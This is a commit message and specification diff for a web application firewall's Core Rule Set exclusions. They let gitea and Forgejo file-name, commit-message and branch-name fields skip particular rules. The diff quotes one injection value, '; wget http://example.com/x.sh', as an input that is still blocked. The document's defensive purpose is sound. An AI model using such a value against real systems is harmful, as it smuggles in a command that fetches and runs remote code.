Core Rule Set: gitea and Forgejo file and branch names in bodies pass (closes #346)

While SWW_WAF_BODY_LIMIT is set, these body fields skip only the rules
that refused them, on their own paths:

- tree_path, commit_summary and content on the web editor's pages:
  edit, new file, delete, upload, patch, cherry-pick and preview;
- fields that name a branch, for Windows commands and command names:
  new_branch_name, old_branch_name, old_ref_name, from, to, head, base,
  branch and new_branch; base also when a pull request is edited
  through the API;
- message of one file or several changed through the API, for system
  files and Windows commands.

None applies when the query has a parameter of the same name. The
requests were recorded from gitea 1.27.3 and Forgejo 17.0.1.

Model: opus-5-5

SPEC.md

@@ -826,9 +826,10 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
    with any script removed and returns only to its own pages. Every other cookie
    is read in full.
 3. On gitea's paths, some fields skip the rules that refused ordinary gitea
-   requests there. They are the fields where gitea sends a search, a file name,
-   a branch name or a repository's name. `internal/coreruleset/gitea.conf` lists
-   each rule and the request it refused. The fields are:
+   requests there. They are the fields where gitea sends a search, a file's name
+   or text, a commit message, a branch name or a repository's name.
+   `internal/coreruleset/gitea.conf` lists each rule and the request it refused.
+   The fields are:
     - `q` on gitea's searches of code, of issues and pull requests, and of
       commits. A code search holds code, such as `<script>`,
       `SELECT * FROM users WHERE` or `../`. The searches of issues and pull
@@ -924,6 +925,46 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
         - to start a release from a tag;
         - to edit a branch protection rule;
         - to list a directory's last commits.
+    - A file's name or text, a commit message or a branch name in a body field.
+      The web editor's pages are:
+        - a file's edit page;
+        - the page for a new file;
+        - a file's delete page;
+        - the upload page;
+        - the page that applies a patch;
+        - the page that cherry-picks a commit;
+        - the preview of a file's changes, which sends the file's text in
+          `content`.
+
+        The fields are:
+        - `tree_path` on these pages, for system files, Windows commands and
+          command names (930120, 932120, 932260);
+        - `commit_summary` there, for system files and Windows commands (930120,
+          932120);
+        - `content` there, the file's text or the patch, for a Unix command at
+          the start of a line (932235);
+        - `message` of one file or several created, changed or deleted through
+          the API, for system files and Windows commands (930120, 932120).
+
+        These fields name a branch and skip the lists of Windows commands and
+        command names (932120, 932260):
+        - `new_branch_name` on the web editor's pages, a new branch for the
+          commit;
+        - `new_branch_name` of a branch created on the web or through the API;
+        - `old_branch_name` and `old_ref_name` of a branch created through the
+          API, which name where it starts;
+        - `from` and `to` of a branch renamed on the web;
+        - `head` and `base` of a pull request opened through the API, and `base`
+          of one edited through it;
+        - `branch` and `new_branch` of one file or several created, changed or
+          deleted through the API.
+
+        Names such as `docker-compose.yml`, `.htaccess`, `feat/docker-support`
+        and `fix-powershell-module` were refused.
+        `; wget http://example.com/x.sh` and path traversal are still refused in
+        these fields. These exclusions matter only while `SWW_WAF_BODY_LIMIT` is
+        set. None applies when the query has a parameter of the same name.
+
     - `id` of the forms that adopt or delete an unadopted repository, for the
       rules that refused repository names (930120, 932120, 932160, 932260). `id`
       holds the repository's name, such as `python3-app` or `.profile`. The
@@ -1647,9 +1688,11 @@ Forgejo's fixes: Forgejo is a fork of gitea, so a hostname listing `forgejo`
 gets gitea's fixes too. Forgejo's own fixes hold only what Forgejo sends and
 gitea does not.
 
-On Forgejo's paths, `q` on some of its searches skips the rules that refused
-ordinary Forgejo searches there. `internal/coreruleset/forgejo.conf` lists each
-rule and the search it refused. The searches are:
+On Forgejo's paths, some fields skip the rules that refused ordinary Forgejo
+requests there. `internal/coreruleset/forgejo.conf` lists each rule and the
+request it refused.
+
+`q` skips rules on some of Forgejo's searches. The searches are:
 
 - the search of a wiki, on `/<owner>/<repo>/wiki/search`;
 - the search of a repository's releases, on `/<owner>/<repo>/releases` and
@@ -1682,6 +1725,12 @@ These paths are matched at the site root.
 On `/admin/repos`, where the admin page searches the names of repositories, `q`
 skips the list of command names (932260), which refused `python3`.
 
+Forgejo renames a branch at `/<owner>/<repo>/settings/rename_branch`, where
+gitea uses `/<owner>/<repo>/branches/rename`. There, as on gitea's path, `from`
+and `to` skip the lists of Windows commands and command names (932120, 932260),
+which refused `fix-powershell-module` and `feat/docker-support`. This matters
+only while `SWW_WAF_BODY_LIMIT` is set.
+
 The Core Rule Set reads the request without the `flash` cookie, in which Forgejo
 puts what gitea puts in `gitea_flash` (gitea's second fix).